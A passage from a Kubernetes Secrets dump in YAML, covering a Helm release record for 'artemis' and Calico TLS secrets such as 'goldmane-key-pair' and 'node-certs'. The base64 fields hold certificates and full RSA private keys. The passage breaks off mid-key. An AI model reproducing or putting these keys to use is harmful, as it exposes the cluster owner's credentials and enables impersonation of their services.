bVRreGFYNjBjNHhaRmhOaVI2OVBQL0R3QUEvLzhCRG1wcmRkQUFBQT09
  kind: Secret
  metadata:
    creationTimestamp: "2025-10-19T12:06:46Z"
    labels:
      modifiedAt: "1760875609"
      name: artemis
      owner: helm
      status: deployed
      version: "1"
    name: sh.helm.release.v1.artemis.v1
    namespace: artemis
    resourceVersion: "6779356"
    uid: 65e81379-365b-4736-bf5a-fa7cd93f92e2
  type: helm.sh/release.v1
- apiVersion: v1
  data:
    tls.crt: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUR0RENDQXB5Z0F3SUJBZ0lJUTlib2xRU2tvYWd3RFFZSktvWklodmNOQVFFTEJRQXdJVEVmTUIwR0ExVUUKQXhNV2RHbG5aWEpoTFc5d1pYSmhkRzl5TFhOcFoyNWxjakFlRncweU5URXdNVGt4TmpJMk5EQmFGdzB5T0RBeApNakl4TmpJMk5ERmFNQk14RVRBUEJnTlZCQU1UQ0dkdmJHUnRZVzVsTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGCkFBT0NBUThBTUlJQkNnS0NBUUVBcVNvODE5UEhTVElSRE9pNDkxazQrNld3bzRweVRCOGFLblNsL2dlK25pWFMKMGVwWlY5N3d1WW56c1dXRVB0QWNoaDZqM2wwMjV6a0FpSGJiY3U3cWFKYW9sTEJmRjZsRllHWFhXYkdHZFZHegpSaTVaQ0dPRjJNZkxFeC9BUnZqZ1NhTUFCR09hNk84cTA4SjZkUnVaQ0pRbWRjQVV2dk5jaTRXM0lsK25nM2srCmR2TklzL1M1ZW9xbGtGQmUzTlJ2RlNES0xlZWtyMWZXditxZ3hsdnVIY2lZVE9DUnRjWDBaNmlOeENYa3BLZjQKeFRscDVVUG1wOHEraDB2U0xxOEYzelc5Y25saTBaZzk2TG1TSGhCYjVqejFyZ3YwZi9YMzRydVpKTE9kRGVjOQpuSUdJbnV2ODNXSThPU2owYmY4TER4N2JCdG85cXh2OThmYjVqd0hQdndJREFRQUJvNEg5TUlINk1BNEdBMVVkCkR3RUIvd1FFQXdJRm9EQW5CZ05WSFNVRUlEQWVCZ2dyQmdFRkJRY0RBUVlJS3dZQkJRVUhBd0VHQ0NzR0FRVUYKQndNQ01Bd0dBMVVkRXdFQi93UUNNQUF3SFFZRFZSME9CQllFRlBvejJKelBYVG1DdlRoQWxGcDUyY013UGkycgpNQjhHQTFVZEl3UVlNQmFBRkxjSzVsdEF0ZklxcjZjK3ZjcVI2cWhseUdTak1IRUdBMVVkRVFScU1HaUNDR2R2CmJHUnRZVzVsZ2habmIyeGtiV0Z1WlM1allXeHBZMjh0YzNsemRHVnRnaHBuYjJ4a2JXRnVaUzVqWVd4cFkyOHQKYzNsemRHVnRMbk4yWTRJb1oyOXNaRzFoYm1VdVkyRnNhV052TFhONWMzUmxiUzV6ZG1NdVkyeDFjM1JsY2k1cwpiMk5oYkRBTkJna3Foa2lHOXcwQkFRc0ZBQU9DQVFFQWFEekFINHEwRFQ3SHF1SWZoTDhCSS9qVGdha21qN1NRCnhyQjN2VlFzVWF5Z1NkbUg0TzRWbUUzK0VhVGVzakl1SE9uZmJyaG1KYXFaNFREcW1BcW1hMFhCekQwWlZXNmIKWndES252ZU4vQXVnb3hINkNaamQzaGRkSHl3ek9Rb1liQ0lFNzZRQmNYOSs0TWFlSTVkZWxuTnZqakozU3NjYwoxWkR0S002WEhCVXVtSlNaZUtuYTRIUEp3WVo5UHRSNllwNThMUVpUTjZnK1pDcGVoSWRlWlpjRkJhWlBCbTRMCnMybng2VmI4Vnc0Nm1FYnJWd1ZHd3haeG90KzFhZlBJKzh5MG5EbmlNTUVwbXhwZzFLZzhCc25KL0l5V3pxSm8KM1Nac05Ca1ZtMU9JUWVobDlEc2xRMGVrWEoreVRmRjJ1QXZuS1JXcEZ4aUxTTG5tSmE1V2hnPT0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0KTUlJREtUQ0NBaEdnQXdJQkFnSUlCQWsxSlV5UzZ0WXdEUVlKS29aSWh2Y05BUUVMQlFBd0lURWZNQjBHQTFVRQpBeE1XZEdsblpYSmhMVzl3WlhKaGRHOXlMWE5wWjI1bGNqQWdGdzB5TlRFd01Ua3hOakV5TWpGYUdBOHlNVEkxCk1Ea3lOVEUyTVRJeU1sb3dJVEVmTUIwR0ExVUVBeE1XZEdsblpYSmhMVzl3WlhKaGRHOXlMWE5wWjI1bGNqQ0MKQVNJd0RRWUpLb1pJaHZjTkFRRUJCUUFEZ2dFUEFEQ0NBUW9DZ2dFQkFJaWRNY3pkYm00N1NtaTVWb0VJTGVCMgpCRXdLU252L3NPMXlUeVN5NE8zUDhHaTVYK2pjWDdydWNJWWNwVG9Vbjk2bFJzeVI2cmdGOStiTFFPZVo3clR1CjNJdFZZUmtONVVJQTB5REpuOWhEdXZjMzJZWHZkS1l1Tlp6VlJxYTB6UnovOXBKWVE5LzJjbDkwSHdBZHZvdDgKQVZoZnhQUGFPY2dpUGszaERhbEtJdG5xa2loSDdQWXU2cm03MTRLUHl3R2VQaDllN3AxK0dSYWRscFpPQ3VHKwpHSUZuMDdUT0FiVENuRU9IME5IMjRDVUhSaVljeUtZVUZQMnZYMjFUR3cwa1cxYjZQbFhkMUwreUZLMisvMVBtCmQ0a2JBMk1IZVBEYnpOZklSVlBkaUlqM3JpRGI0dkcrRlVrZWhzbHdJK2VJWS9sejV0MUpITjdRNkF3Qk10RUMKQXdFQUFhTmpNR0V3RGdZRFZSMFBBUUgvQkFRREFnS2tNQThHQTFVZEV3RUIvd1FGTUFNQkFmOHdIUVlEVlIwTwpCQllFRkxjSzVsdEF0ZklxcjZjK3ZjcVI2cWhseUdTak1COEdBMVVkSXdRWU1CYUFGTGNLNWx0QXRmSXFyNmMrCnZjcVI2cWhseUdTak1BMEdDU3FHU0liM0RRRUJDd1VBQTRJQkFRQm0rc0hqcllBbys5TndIMjE0Qk4zenFpckEKWlp3OFRGMjYwbHM4MXpreDNqQkZDTXZsWG9UdGhGaEU1VEEzSE5SN3NGeTBsYlRvamQ2bDZNUVhwekZaODBJTQpDMCtyTTVDQzZiVmpiSy8raUFxVnJ6aDhUR1ZsNVJsMmFJUEhKLzNqc3A3N0NJRW5yQkh1N2tEbG1VWVVsTTZOCm94YzduczBZNG1Yd01rTnlsRVJNRW1QeVI0aHlrMzVocDVNdEcxKzNBNFV0V0hlZm9XRGFmcWtYeVBxRG40ekkKOTM0VDBNQkF3SkVaQ1ZvbWtkTko2SkNWcFZqMFZNY0R3cWU0ZnBnYUF3U01qcGEyRVh3dVFwSGRCMFpRK3RCVwp6MGxGTjhkY1ZPd0xwZEc3T1RRMXJXQ21QK28zTEJ5cENJRjJneFA4ZGwydkc0dm9MN0lrWCtmWnV6ZWUKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=
    tls.key: LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFcEFJQkFBS0NBUUVBcVNvODE5UEhTVElSRE9pNDkxazQrNld3bzRweVRCOGFLblNsL2dlK25pWFMwZXBaClY5N3d1WW56c1dXRVB0QWNoaDZqM2wwMjV6a0FpSGJiY3U3cWFKYW9sTEJmRjZsRllHWFhXYkdHZFZHelJpNVoKQ0dPRjJNZkxFeC9BUnZqZ1NhTUFCR09hNk84cTA4SjZkUnVaQ0pRbWRjQVV2dk5jaTRXM0lsK25nM2srZHZOSQpzL1M1ZW9xbGtGQmUzTlJ2RlNES0xlZWtyMWZXditxZ3hsdnVIY2lZVE9DUnRjWDBaNmlOeENYa3BLZjR4VGxwCjVVUG1wOHEraDB2U0xxOEYzelc5Y25saTBaZzk2TG1TSGhCYjVqejFyZ3YwZi9YMzRydVpKTE9kRGVjOW5JR0kKbnV2ODNXSThPU2owYmY4TER4N2JCdG85cXh2OThmYjVqd0hQdndJREFRQUJBb0lCQUM3UGNFeXMzcTJEZkRKZApSNm15ZDlFeTFVRTc4MHJiSkd0eEllbThqT1BJUmFFdXZ4QlFzYjQxelVoZWRnekhtODBGTjRVMXVCYWRzR2NTCnRNRUdHYmxkVDBMdDF6Sjk5YU9xS3NBNEhxUGlPc0NGM0w4MGd2b3N0eVlRbUMxTGV3MEZYT0RhQ3lpLzNkTUIKTXMrckZscklYQ2dqUWRwaEQwL1FiWS9HZGwwcndTQUhNTUU2M0RsU3BYbGg0dEVwRDdSbzFUNGlybFFXczFKZQp4NVEwMXl3ZGZtLzZBL0VJMzJBOWpvQ1VtRmQvQjZzUmxYb3ZlNEZnZndQbEo2VEN3SVZwdEZHTnllUTJWMWw3Cm1qUmFUeHlJaStGaE80ZGo5ZCtNcUpaajJtVjFSSlhlalJKUXZJNStRWENhbDRwWnB2T21aRk8vN3JZeEhGREUKSDNCNDZwRUNnWUVBNHhaaFIwN1NRajRnQnNkZEV6ODRrK3U3NEhFU1BabXMrRnkzSmJlMy9YQUxQbmJ0YXkzSApUdnhVdzNnc2FOT0Y1S2JrRXNWQUlLTG9yV2gyMWVLSW0xQkdmMWQvNG9EKy9UWHJGa09TRDRBbEl4emc1cnVICmFjOWVyQjVNRHZLblBQdDJGZEpWZFBHMFZickVsamVTM0d1TTlpOSt3RjVZUVBxQVNaMUN3cWNDZ1lFQXZyUHoKZnZ0M0R3TXRNRkw1bHFTMkI1dUF6OVdtdHA2UlFYOVZZNDI4OHZBYTluYlFOclUyUmQwMGNRSkpLK3JHKzhReQphS1dPVkhEZmhUak52SHFINHJwK2tkY0VXYlRrVzU3dWNwZ0RJSEZWb2RhbHNxcHNNWjdXMFpGcWhjWDk4NUhNCkVSMnN6dS9OemVRU1daanNlejU5OHFVZ3M5UmVaMkdIRm11dHBTa0NnWUVBd0xwc3d6MUZPNDFJVnhoNmlPdysKRTJTZFprWHdxakV6MlBHdlNxYWEwOUIwNm9XNnlCenBLOE1DR1lkemdXQU1JZHYyYzJ2UEdpUEkvK3RKK0Fxegp6OFVZbjlqZUk1bEJVQnVqc3BpVWJPMWdGMlhhQmxrZit4QlJGQmoraWkwcy9KZWFSN2prYUVUK3ZVZXVzcUxsCjFJYSs4dTJxVUkrQnJWd3M1czArTEw4Q2dZQmpRc2M3RVNpblo3L2RwMUxDVm5sby9FZlA1aVVnYU9peWJ0VEQKUE1OY3NCMVlxLzgwZXA0RlAxNU1kQ1FoOTlJYXVjU0RNNmtoeXA2TmVVT2RGeW9qbVc3SCttTUpUbDZPVWV0TApPbFJtVHBlRDVYWFp5VnNIZU9YWHJ4a0RDRXRtdkR5N3EvYUd2OHNmbjlidFMrdkxPbnZVRUo4MCt4VW9PbHRXCkVEWVNBUUtCZ1FEWG9uMEZnbHEyaWR2SlIwNlQvS1VVamZ2V3g3UEN3MlJpbnZwYksxWWhoVmtuQWpzNmlhaloKTVFtMFdFWWd6VjZNQzFOTHE0cUhDQ0xEOXVkaXRpd0lKSEgzYnpzS0VVTktnSDNBUkl2Z2tLM3VJQm5iZ0VVNAoxclJCRG9ObmkvSFJGV1k5TVJFQjFySGpvY1VyOVhWWmpXVlkyWWQwNk5IZHZHS2hmbDJsL3c9PQotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQo=
  kind: Secret
  metadata:
    creationTimestamp: "2025-10-19T16:26:41Z"
    name: goldmane-key-pair
    namespace: calico-system
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Goldmane
      name: default
      uid: 5994cdc7-d4c2-4413-bf3b-9967cd01464d
    resourceVersion: "6825266"
    uid: 0ca42066-90ad-4cd2-b6f2-9bd8fb0be503
  type: Opaque
- apiVersion: v1
  data:
    tls.crt: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURYakNDQWthZ0F3SUJBZ0lJTUlGcmxkN3YxTEl3RFFZSktvWklodmNOQVFFTEJRQXdJVEVmTUIwR0ExVUUKQXhNV2RHbG5aWEpoTFc5d1pYSmhkRzl5TFhOcFoyNWxjakFlRncweU5URXdNVGt4TmpFeU1qUmFGdzB5T0RBeApNakl4TmpFeU1qVmFNQmN4RlRBVEJnTlZCQU1UREhSNWNHaGhMV05zYVdWdWREQ0NBU0l3RFFZSktvWklodmNOCkFRRUJCUUFEZ2dFUEFEQ0NBUW9DZ2dFQkFKcnM2R01LSm5NbDdNeUc1SHRsZ0h6RThFOWhUblZPakJUNjZZaHoKQWQyWjc2eFM2Q2F5M3pmNGljS2NobCtzNXZ0eWhRMGtldGUwc3RwU3h0amRIa1ZGSUM2Z2YxVGRCOGV0bzJ6bwpPT2F0M2NXb0xZTXBaQ25pZFNCWjUwT3ZWRzUvYkQ5dzJPNDhlVXNSVlBCcGl4MmlUWlRheHpuZGEzU0xOSXRnCmtSaXg2aFZSUlc1akcxYjdiR0RjZEdvVStwTWVnNWdrZ2xiRm1MbEtvb0FBeGJ6WG4zN3RvREl0aHUvNUlBNEoKZGlzNVR1RFJQUHNrVThxYnhLR0M4T0g5SWwyKzRQenBRZmNMODhYUnVybE5vRW1LNFE2UE1UMzRkUGJQV3ovKwp4VnFQNmpSU2k3c29xVUxDZTFzdnlRS1JQemNzc0hCQi9hL2ltWnR6R2lhNERXTUNBd0VBQWFPQm96Q0JvREFPCkJnTlZIUThCQWY4RUJBTUNCYUF3SndZRFZSMGxCQ0F3SGdZSUt3WUJCUVVIQXdFR0NDc0dBUVVGQndNQkJnZ3IKQmdFRkJRY0RBakFNQmdOVkhSTUJBZjhFQWpBQU1CMEdBMVVkRGdRV0JCU2lmNVowZG1pbkpiNnVqdzRhZ0ZYQgpMOW4rL1RBZkJnTlZIU01FR0RBV2dCUzNDdVpiUUxYeUtxK25QcjNLa2Vxb1pjaGtvekFYQmdOVkhSRUVFREFPCmdneDBlWEJvWVMxamJHbGxiblF3RFFZSktvWklodmNOQVFFTEJRQURnZ0VCQUhkZXZNQjRlcVdoK2lCREtBRzUKbkV0K0REaGFjWEZUdWRsbGpLZjYyeVVKRm0xT1dnWnVSVTRMdS9NbTl3OWtFM05zaHFEdVVDT2hhbmN3OHR0WQpaZkdVK0toMm9uaDZuVTBDUHlIbU41SWNEVzZWUkVqSmtQTmFVWHRRcTBjMzNOR0RTc1BzT0tBbDI3bENXSzdxCkUxNEhaSjFVMkN6MmRJT1FmSnlyeTJrRmRpSzViaXNVY0RKanJqUGhQSk1mS2NzK0hIT1FSdlk1bENKdXpiR0oKaU05Z3ExRjZHMkx2WUhvYkt2TzZ3ZjB3RmRPWkN1YVNBNDlqWVR4UnJteG1CV1RYVnFyZXQ3K1J0N09walYzVApTaGlHWjRtQ2FiUzUzanNGMVhUV3FlczBOczZ6RlRlRG1ma3BnbEMvdXZQalZKR2Q1ODNRbEFiUExaL1dOWThJClBMaz0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0KTUlJREtUQ0NBaEdnQXdJQkFnSUlCQWsxSlV5UzZ0WXdEUVlKS29aSWh2Y05BUUVMQlFBd0lURWZNQjBHQTFVRQpBeE1XZEdsblpYSmhMVzl3WlhKaGRHOXlMWE5wWjI1bGNqQWdGdzB5TlRFd01Ua3hOakV5TWpGYUdBOHlNVEkxCk1Ea3lOVEUyTVRJeU1sb3dJVEVmTUIwR0ExVUVBeE1XZEdsblpYSmhMVzl3WlhKaGRHOXlMWE5wWjI1bGNqQ0MKQVNJd0RRWUpLb1pJaHZjTkFRRUJCUUFEZ2dFUEFEQ0NBUW9DZ2dFQkFJaWRNY3pkYm00N1NtaTVWb0VJTGVCMgpCRXdLU252L3NPMXlUeVN5NE8zUDhHaTVYK2pjWDdydWNJWWNwVG9Vbjk2bFJzeVI2cmdGOStiTFFPZVo3clR1CjNJdFZZUmtONVVJQTB5REpuOWhEdXZjMzJZWHZkS1l1Tlp6VlJxYTB6UnovOXBKWVE5LzJjbDkwSHdBZHZvdDgKQVZoZnhQUGFPY2dpUGszaERhbEtJdG5xa2loSDdQWXU2cm03MTRLUHl3R2VQaDllN3AxK0dSYWRscFpPQ3VHKwpHSUZuMDdUT0FiVENuRU9IME5IMjRDVUhSaVljeUtZVUZQMnZYMjFUR3cwa1cxYjZQbFhkMUwreUZLMisvMVBtCmQ0a2JBMk1IZVBEYnpOZklSVlBkaUlqM3JpRGI0dkcrRlVrZWhzbHdJK2VJWS9sejV0MUpITjdRNkF3Qk10RUMKQXdFQUFhTmpNR0V3RGdZRFZSMFBBUUgvQkFRREFnS2tNQThHQTFVZEV3RUIvd1FGTUFNQkFmOHdIUVlEVlIwTwpCQllFRkxjSzVsdEF0ZklxcjZjK3ZjcVI2cWhseUdTak1COEdBMVVkSXdRWU1CYUFGTGNLNWx0QXRmSXFyNmMrCnZjcVI2cWhseUdTak1BMEdDU3FHU0liM0RRRUJDd1VBQTRJQkFRQm0rc0hqcllBbys5TndIMjE0Qk4zenFpckEKWlp3OFRGMjYwbHM4MXpreDNqQkZDTXZsWG9UdGhGaEU1VEEzSE5SN3NGeTBsYlRvamQ2bDZNUVhwekZaODBJTQpDMCtyTTVDQzZiVmpiSy8raUFxVnJ6aDhUR1ZsNVJsMmFJUEhKLzNqc3A3N0NJRW5yQkh1N2tEbG1VWVVsTTZOCm94YzduczBZNG1Yd01rTnlsRVJNRW1QeVI0aHlrMzVocDVNdEcxKzNBNFV0V0hlZm9XRGFmcWtYeVBxRG40ekkKOTM0VDBNQkF3SkVaQ1ZvbWtkTko2SkNWcFZqMFZNY0R3cWU0ZnBnYUF3U01qcGEyRVh3dVFwSGRCMFpRK3RCVwp6MGxGTjhkY1ZPd0xwZEc3T1RRMXJXQ21QK28zTEJ5cENJRjJneFA4ZGwydkc0dm9MN0lrWCtmWnV6ZWUKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=
    tls.key: LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFb3dJQkFBS0NBUUVBbXV6b1l3b21jeVhzeklia2UyV0FmTVR3VDJGT2RVNk1GUHJwaUhNQjNabnZyRkxvCkpyTGZOL2lKd3B5R1g2em0rM0tGRFNSNjE3U3kybExHMk4wZVJVVWdMcUIvVk4wSHg2MmpiT2c0NXEzZHhhZ3QKZ3lsa0tlSjFJRm5uUTY5VWJuOXNQM0RZN2p4NVN4RlU4R21MSGFKTmxOckhPZDFyZElzMGkyQ1JHTEhxRlZGRgpibU1iVnZ0c1lOeDBhaFQ2a3g2RG1DU0NWc1dZdVVxaWdBREZ2TmVmZnUyZ01pMkc3L2tnRGdsMkt6bE80TkU4Cit5UlR5cHZFb1lMdzRmMGlYYjdnL09sQjl3dnp4ZEc2dVUyZ1NZcmhEbzh4UGZoMDlzOWJQLzdGV28vcU5GS0wKdXlpcFFzSjdXeS9KQXBFL055eXdjRUg5citLWm0zTWFKcmdOWXdJREFRQUJBb0lCQUE4eEF6U1FUcEdQVUNJRQp2dFlrR2k1TWpXMUFreFh6cHM3T2hTUitkUzlmK2QyQm43RmViQ21yM2E1UFNqODFlc3pWNmtWalQxeGtJLzdwCk5sc1dOa2YvN1paRTRnSXJUbE9wSzM1R3VJQlRpamM5MzRDZUNCYXlBRjdmWjByK3lwNVoyNmtqalZJSEYxOE0KdGJIV3JPL2NvTDQ0N3hJMTFtU1kyeS9UbEp3VzBhaUpORGM1Q3dHLzdzRDl5NFFvTUxPR285dlNHRG1LU0paawoxSGcxQ0JWeVB6YTBhSytUZXUrcVZoeVdVendCM3p4a0l1Q2NFbWhMeUV6eC9HdjVleEFrZmFKMjZKa2FqdGVHCnBOblZLNjBtamd4N3hZQnFCWUhpZFRFYVI0QzFPandqUExJVEIyMFpBaEtvaWJwN01JSTd1dGtyWVFqb3RlNkQKU2FxT0cva0NnWUVBemloQlZqYjZOWlo4NWZpMDBuMWhLbC9CMVJlb2xrZmxqSSt3b3hrRGtka2dISmlhTlY3dwoycjFLVHJOSE5pTFFQSTRlNDBTckFtRlIySkhmdE9BTXdsWXBVQUM4TDljekRQYUtBZDRBM2xNV0lpNnMzTWxTCjVQSFNtaFJ5MUVWaXpKUXl5ZUw3UEV5SGRCdnlwamQySzBBYzN6MHByQ3A5czZGRzZzNWN4a1VDZ1lFQXdHRy8KWlZBK2I3TUV6a0xMRXJQWForVDlxRUY5NWhqa3hRY3hidkVlNUhiQWdGTllnRER3S3J6NE96Y2d2NW53MHNLOQpvOUZyRysvRWtTT3d1V1plb0d0MU02YWdWemFGWk4vUndKNTB1NXBLN0V5b05hc1JqRTRndGRJd1ZaM0NKUkxWClRBS1p2eUFZSTJ5bmVEYm56ekR2SXBOUkVENnJMUEZtWU5xNDg0Y0NnWUI0V01PYmdzaVowOW5obmtoZ3dGU2kKbWZmYlg4NUl2SHZpakZjL1B2RDRpVm5YbDdZZUJlaHdxU1Bod1lLR3RkZitJYkVpVnduRmYrNTVrTjZaQmxvcwpjSVA1Y2hScGtTVDZJa242UVJFY3VFQXBnRG5sUVpta2tRNnlaOUdJM1dDSnNOSGRUU1lBMDJRWGdlRXE2eUdPCnFnU3d4Vkc0Y2EyajJUZy9CbXplU1FLQmdBTEE0MlpsMFo3enB2djB4TWROdjZXREI0WmkrWlJUZ3VLM0NhUVcKMjJSVnRzZWZhY0xiOEhRTUpGbGtucGxmY0t6emtKZEpwZ2pPVTdmb0ZOMXljNlJFSlhkSnlUMjJVQTV6amFMKwpJWm1WeWNDOEVDUkVnSW5MakhoTnU5ZGQzS3QvSzRKYy95cFhJVUZRaXMwVHJCbXhENXNsRktIdzQ2NU8vaklnCnIwajlBb0dCQU1EWDRydTUwUHNIaVJmbWRXbks4ZWtac2ZKYTBZWklLVlk4Z1BORjkxbzZTZUw1NDVNWXpEdVgKcnlzcmt4TXFUMjlydTE3cWlpZ2JWQk50RXV4NFRqR09ya0puVmdkaVBvODVxTksreTluaFlBSXllQXdXbWRLKwpWWG1lNnlpK1IxR3lJL2pRdGw5alJhSWxXdE9yOUczQVdUZ0grSGM1VnB5RzZwcERkbktvCi0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0tCg==
  kind: Secret
  metadata:
    creationTimestamp: "2025-10-19T16:12:25Z"
    name: node-certs
    namespace: calico-system
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Installation
      name: default
      uid: 63dabbe6-fe37-4e18-82da-dcd4ee115c93
    resourceVersion: "6821078"
    uid: 95a3a56d-7175-4d43-8784-8b54617c32a1
  type: Opaque
- apiVersion: v1
  data:
    tls.crt: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURYakNDQWthZ0F3SUJBZ0lJVHE4WUtmdFYreTB3RFFZSktvWklodmNOQVFFTEJRQXdJVEVmTUIwR0ExVUUKQXhNV2RHbG5aWEpoTFc5d1pYSmhkRzl5TFhOcFoyNWxjakFlRncweU5URXdNVGt4TmpFeU1qUmFGdzB5T0RBeApNakl4TmpFeU1qVmFNQmN4RlRBVEJnTlZCQU1UREhSNWNHaGhMWE5sY25abGNqQ0NBU0l3RFFZSktvWklodmNOCkFRRUJCUUFEZ2dFUEFEQ0NBUW9DZ2dFQkFKQnpkOWl4S2tLYWR1UjZxc3ZnODRmUVJwdlo1MzJUNzlFL1llcmsKMGpmLzhyandTWHpvb0E1M2ppVUwzbE1WUFRUYjg0bmtGOFpCOXFlTzN5M2l5TVFhUGU1NlVLd09zakFpQjBqdQpOb3VPcThhMWppWjVBSE51OHgrd2J2WHlvVnBFaFUvdSt2bnAybXFzakk3MnlVVHRkUkMrM25za2paWW5mRHRVCnRNWE8zZGtwN3RDRkF1eHZtTEl6N2laM05ZZVRJUm54a0FDdURqL3lRS2FYNFRPSStLWkRnU1RlTFpVQWNvSWMKT2tBMEUrOGdCQ1pJRDJNL0toSGxKNzJWc3pldnpZV2xmak5hTzJmcEwrNCtpaEJXZjBIWjVyNXIzeDJYMXFlZQpIL1pWRjBweFhWV2ZtbEQ1MERNUGRTbnJGeDkvbkNLc3BxNmh3VG1vWXpWUmxxY0NBd0VBQWFPQm96Q0JvREFPCkJnTlZIUThCQWY4RUJBTUNCYUF3SndZRFZSMGxCQ0F3SGdZSUt3WUJCUVVIQXdFR0NDc0dBUVVGQndNQkJnZ3IKQmdFRkJRY0RBakFNQmdOVkhSTUJBZjhFQWpBQU1CMEdBMVVkRGdRV0JCUzN2MEM1UjZaekJzOUdhdGJoYzFNNwplMnY4UnpBZkJnTlZIU01FR0RBV2dCUzNDdVpiUUxYeUtxK25QcjNLa2Vxb1pjaGtvekFYQmdOVkhSRUVFREFPCmdneDBlWEJvWVMxelpYSjJaWEl3RFFZSktvWklodmNOQVFFTEJRQURnZ0VCQUNMa0xXT01wYnBFaklIUW9WVmQKSm5pdVhpcUtWVUdQanNvYWkxdFR3a3Nkam5VR3luRXhETERmZzlqQVdUaEZkREtjUTRYaWYrQkVpalZNZTBrUgo2QnYzUFdUK3BYdmdoZjVJL0tSc0YwT290eTA4eXN6YTh1NlJRbUcrTlFsMndDRFdTU2ZiQXRiUGNVNFJmd015CjRoZ0FaazlHbkJzc1EzUTc2dWROeGZDM0V4SW9icTRRVlBxNUhRVFhiZnNpNVAxVjdkYlAwUGZRLy8zRkozRGkKY0FvdXdaZzloS0dIYkw1UTA3QlpsSTJhTTZ2WHZ3a3RpMXBWc3Z5ckpuUDR0d0dkb3RJY0MrVFpkNkd5SHg0OApXZ2lEOEttenVUQ1JZU1hidlR1Sm4ydmwvaFIvMDVuV09ZRFBzaW4rRFBJeXJJN2RLcmNqNmlYUkhEOWc2azMzClNCUT0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0KTUlJREtUQ0NBaEdnQXdJQkFnSUlCQWsxSlV5UzZ0WXdEUVlKS29aSWh2Y05BUUVMQlFBd0lURWZNQjBHQTFVRQpBeE1XZEdsblpYSmhMVzl3WlhKaGRHOXlMWE5wWjI1bGNqQWdGdzB5TlRFd01Ua3hOakV5TWpGYUdBOHlNVEkxCk1Ea3lOVEUyTVRJeU1sb3dJVEVmTUIwR0ExVUVBeE1XZEdsblpYSmhMVzl3WlhKaGRHOXlMWE5wWjI1bGNqQ0MKQVNJd0RRWUpLb1pJaHZjTkFRRUJCUUFEZ2dFUEFEQ0NBUW9DZ2dFQkFJaWRNY3pkYm00N1NtaTVWb0VJTGVCMgpCRXdLU252L3NPMXlUeVN5NE8zUDhHaTVYK2pjWDdydWNJWWNwVG9Vbjk2bFJzeVI2cmdGOStiTFFPZVo3clR1CjNJdFZZUmtONVVJQTB5REpuOWhEdXZjMzJZWHZkS1l1Tlp6VlJxYTB6UnovOXBKWVE5LzJjbDkwSHdBZHZvdDgKQVZoZnhQUGFPY2dpUGszaERhbEtJdG5xa2loSDdQWXU2cm03MTRLUHl3R2VQaDllN3AxK0dSYWRscFpPQ3VHKwpHSUZuMDdUT0FiVENuRU9IME5IMjRDVUhSaVljeUtZVUZQMnZYMjFUR3cwa1cxYjZQbFhkMUwreUZLMisvMVBtCmQ0a2JBMk1IZVBEYnpOZklSVlBkaUlqM3JpRGI0dkcrRlVrZWhzbHdJK2VJWS9sejV0MUpITjdRNkF3Qk10RUMKQXdFQUFhTmpNR0V3RGdZRFZSMFBBUUgvQkFRREFnS2tNQThHQTFVZEV3RUIvd1FGTUFNQkFmOHdIUVlEVlIwTwpCQllFRkxjSzVsdEF0ZklxcjZjK3ZjcVI2cWhseUdTak1COEdBMVVkSXdRWU1CYUFGTGNLNWx0QXRmSXFyNmMrCnZjcVI2cWhseUdTak1BMEdDU3FHU0liM0RRRUJDd1VBQTRJQkFRQm0rc0hqcllBbys5TndIMjE0Qk4zenFpckEKWlp3OFRGMjYwbHM4MXpreDNqQkZDTXZsWG9UdGhGaEU1VEEzSE5SN3NGeTBsYlRvamQ2bDZNUVhwekZaODBJTQpDMCtyTTVDQzZiVmpiSy8raUFxVnJ6aDhUR1ZsNVJsMmFJUEhKLzNqc3A3N0NJRW5yQkh1N2tEbG1VWVVsTTZOCm94YzduczBZNG1Yd01rTnlsRVJNRW1QeVI0aHlrMzVocDVNdEcxKzNBNFV0V0hlZm9XRGFmcWtYeVBxRG40ekkKOTM0VDBNQkF3SkVaQ1ZvbWtkTko2SkNWcFZqMFZNY0R3cWU0ZnBnYUF3U01qcGEyRVh3dVFwSGRCMFpRK3RCVwp6MGxGTjhkY1ZPd0xwZEc3T1RRMXJXQ21QK28zTEJ5cENJRjJneFA4ZGwydkc0dm9MN0lrWCtmWnV6ZWUKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=
    tls.key: LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFb3dJQkFBS0NBUUVBa0hOMzJMRXFRcHAyNUhxcXkrRHpoOUJHbTlubmZaUHYwVDloNnVUU04vL3l1UEJKCmZPaWdEbmVPSlF2ZVV4VTlOTnZ6aWVRWHhrSDJwNDdmTGVMSXhCbzk3bnBRckE2eU1DSUhTTzQyaTQ2cnhyV08KSm5rQWMyN3pIN0J1OWZLaFdrU0ZUKzc2K2VuYWFxeU1qdmJKUk8xMUVMN2VleVNObGlkOE8xUzB4YzdkMlNudQowSVVDN0crWXNqUHVKbmMxaDVNaEdmR1FBSzRPUC9KQXBwZmhNNGo0cGtPQkpONHRsUUJ5Z2h3NlFEUVQ3eUFFCkprZ1BZejhxRWVVbnZaV3pONi9OaGFWK00xbzdaK2t2N2o2S0VGWi9RZG5tdm12ZkhaZldwNTRmOWxVWFNuRmQKVlorYVVQblFNdzkxS2VzWEgzK2NJcXltcnFIQk9haGpOVkdXcHdJREFRQUJBb0lCQUFuWkxZSERGb